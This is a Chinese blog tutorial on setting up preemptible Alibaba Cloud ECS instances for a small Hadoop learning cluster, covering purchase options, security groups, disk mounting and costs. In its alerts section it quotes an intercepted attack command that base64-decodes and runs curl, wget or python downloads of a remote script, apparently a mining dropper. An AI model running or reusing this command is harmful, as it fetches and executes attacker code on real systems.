前言
由于准备做一些离线计算和实时计算的模拟, 发现某些教程内的阿里云还挺好用的, 在这里把相关的经验分享给大家.
简单的心路历程: 起先笔者搭建了一套本地集群. 但是后来发现, 因为没用网络IP的反穿, 本地的集群的网络访问非常不便. 其次, 集群的启停, 网络和磁盘管理都非常麻烦, 并且, 很多时候, 集群只在尝试的那一段时间才会使用. 为此, 试用了阿里云的抢占式集群方式, 发现这种的使用, 非常适合学习和研究.
当然, 如果你拥有稳定的硬件资源, 你也完全可以使用本地集群. 此处只是给出一套使用方案. [因为大多数我们的机器都是16G, 32G. 并且并没有稳定的网络环境. 对于大数据集群, 动辄8G3 16G3的集群需求, 总是感觉捉襟见肘.]
阿里云机器购买 & 相关配置构建
前置条件: 阿里云预留100R的资金. [阿里云只有超过100R才能购买抢占式的实例].
-
进入ECS控制台 随后创建实例
-
随后, 这里我们选择抢占式的实例. 这样他就是按时间收费.
-
选择相关的磁盘配置和系统配置
-
选择
无确定使用时长
(此处如果选择1小时, 可能某些情况, 有被自动释放的风险.) -
选择相应的需要机器的台数. (此处笔者选择3台)
-
选择相应的系统. 这里推荐
CentOS 7.x
和Ubuntu系统
, (如果有其他系统指定的需要, 肯定不需要我在这里废话) (笔者一般使用CentOS 7.6系统) -
选择磁盘. (注意, 我们初次部署圆盘的时候, 一定要把此处的非随实例释放, 进行勾选.)
-
选择相应的带宽. 我们此处选择按量收费. (因为是学习使用, 访问外网的几率比较小. 此处可以按照各自的安排选择.)
-
配置相关的系统资源
-
设置相应的密码
-
设置相应的主机名称. 此处如果一次购买多个机器的话, 他是可以设置某些名称的构建方法的. 按照手册设置相应的名称即可. (笔者这边设置为 hadoop[001,3]. 希望3台主机的名称为hadoop001, hadoop002, hadoop003.) (此处如果不会设置, 也可以不设置. )
通过 name_prefix[begin_number,bits]name_suffix 格式可给各个 ECS 实例设置不同的实例名。例如:my_name[99,3]ecs ,若创建 2 台实例最终生成的名称分别为:my_name099ecs、my_name100ecs,begin_number 取值区间为 [0,999999],bits 取值区间为 [1,6],查看详情>
-
点击同意协议
最终, 你就可以花费0.25的价格, 暂时租借使用3台 2H8G的云主机了. 如果你的集群需要更高的内存或者CPU, 可以在初次购买或者购买后进行升降配操作. -
随后, 我们就可以在控制台列表上, 看见我们本次购买的3台机器.
比较值得注意的是. 我们每次购买机器时, 内网地址和外网地址都可能会变化的. (为此, 我本地就不打码了, heihei)
ECS机器相关配置
网络安全组
值得注意的是, 阿里云的每个机器的网络, 它只开放一些默认的端口号. 其余的端口号是默认不开放的. 如果想要设置, 可以前往此处设置. (比如你安装了一个mysql数据库, 那么就需要设置3306端口)
- 另外. 值得一提的是. 如果你只是临时访问, 完全可以通过百度查询先查询出当前网络的外网ip. 随后设置在此处. 这样可以非常好的避免相关的网络攻击.
比如我查询到我本机的ip为123.123.123.123
, 我只想开放22端口或者3306端口给这个ip的相关用户访问, 可以参照上述的配置进行配置.
相关IP攻击 & 告警
在使用的过程中. 我收到了阿里云的这样的提示短信, 提示有恶性攻击.
/bin/bash -c if type curl >/dev/null; then echo Y3VybCAtZnNTTCBodHRwOi8va2lcXHNcXHMuYS1kXFxvZy50XFxvXHAvYjJmNjI4L2guc2gK|base64 -d|bash|bash; fi;if type wget >/dev/null; then echo d2dldCAtcSAtTy0gIGh0dHA6Ly9raVxcc1xccy5hLWRcXG9nLnRcXG9ccC9iMmY2MjgvaC5zaAo=|base64 -d|bash|bash; fi;if type python >/dev/null;then echo cHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8va2lcXHNcXHMuYS1kXFxvZy50XFxvXHAvaC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d|bash; fi
此处curl
命令后, 乍一看是一串乱码. 其实他是通过base64加密的. 之前有了机器被拉去挖矿的经验, 此处个人感觉端口的设置还是小心为上.
云盘的挂载
如果你第一次选择了, 停机磁盘不进行释放. (这样设置也是为了我们能快速构建环境, 虽然会花费一些钱, 但是比较推荐这样购买3块云盘.)
- 可以看到, 选择云盘的界面有3块已经挂载的云盘. 这3块就是我们本次申请ECS机器附带的.
- 还可以看到. 有3块未挂载的云盘. 此处3块云盘是我们之前购买的. 是没有挂载上的.
我们可以先进入机器内部进行查看. 比如我登录hadoop001的机器.
[root@hadoop001 ~]# ls
[root@hadoop001 ~]# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/vda1 40G 1.7G 36G 5% /
devtmpfs 3.9G 0 3.9G 0% /dev
tmpfs 3.9G 0 3.9G 0% /dev/shm
tmpfs 3.9G 424K 3.9G 1% /run
tmpfs 3.9G 0 3.9G 0% /sys/fs/cgroup
tmpfs 783M 0 783M 0% /run/user/0
- 可以看到此处100G的云盘是没有挂载的. 此时我们选择挂载云盘
- 选择需要挂载的机器. (此外, 个人建议. )
···
[root@hadoop001 /]# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/vdb1 99G 9.0G 86G 10% /
devtmpfs 3.9G 0 3.9G 0% /dev
tmpfs 3.9G 0 3.9G 0% /dev/shm
tmpfs 3.9G 444K 3.9G 1% /run
tmpfs 3.9G 0 3.9G 0% /sys/fs/cgroup
tmpfs 783M 0 783M 0% /run/user/0
[root@hadoop001 /]#
···
释放
比较值得注意的是. 释放的时候, 可以选择保留某些盘, 防止以后还需要进行重复操作.
设置本地host & 设置机器相关的免密
关于各个系统hosts的设置和SSH免密的配置可以见笔者的其他文章.
云盘 & 快照 & Ecs备份相关的收费计算
- 云盘
我们使用的是高效云盘. 如果是40G3, 价格为 143=42R 如果是100G3, 价格为 353=105G.
关于云盘的使用. 我们主要需要注意的是1. 是否随实例释放. 2. 云盘的地址和区域. 此处会和挂载的服务器相关
https://www.aliyun.com/price/product?spm=a2c4g.11186623.0.0.23af62e4y2ebMe#/disk/detail/disk
- 快照
阿里云的快照比较鸡肋. 只能对于某个云盘设置. 不过如果你的云盘很长时间都不需要使用, 可以将其打成快照, 随后释放云盘. 这样可以减少一定的开销. 阿里云的云盘还比较方便, 云盘会对内容进行压缩, 比如你云盘100G, 只使用了10G, 那么镜像的大小只有10G, 这会减少比较多的开销.
云盘的价格计算大致如下所示:
计费示例:假设杭州地域有100 GB快照,那么1小时0.016元,1天0.4元。0.43365=438.
公式:(0.12元/GB/月100 GB1月)➗30天➗24小时≈0.016元/小时。
https://help.aliyun.com/document_detail/56159.html?spm=5176.2020520101snapshot.usage.sizeRule.40b14df5aun6iw
Reference
[1]. [https://www.aliyun.com/] (https://www.aliyun.com/)